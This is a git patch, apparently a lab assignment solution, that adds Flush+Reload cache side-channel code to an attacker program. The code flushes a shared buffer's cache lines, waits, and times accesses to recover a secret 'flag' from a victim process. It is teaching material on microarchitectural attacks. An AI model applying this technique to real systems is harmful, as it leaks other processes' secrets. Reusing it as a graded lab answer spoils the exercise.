From b2ad429c8ceabc38955ab896fd17772ca9d392fd Mon Sep 17 00:00:00 2001 From: ClF3 Date: Mon, 4 Nov 2024 19:29:19 +0800 Subject: [PATCH] part2 ver 0.1 --- Part2-FlushReload/attacker.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index e85b3a1..625bf61 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -8,7 +8,8 @@ #include "util.h" - +#define CACHE_HIT_THRESHOLD 200 +#define WAIT_TIME 100 int main() { int flag = -1; @@ -16,7 +17,17 @@ int main() { char *buf = allocate_shared_buffer(); // [2.1] TODO: Put your capture-the-flag code here - + for(int i = 0; i < 1024; i++) { + clflush((ADDR_PTR)buf + i * 128); + } + for(int i = 0; i < WAIT_TIME; i++); + for(int i = 0; i < 1024; i++) { + CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); + if(time < CACHE_HIT_THRESHOLD) { + flag = i; + break; + } + } printf("Flag: %d\n", flag); deallocate_shared_buffer(buf);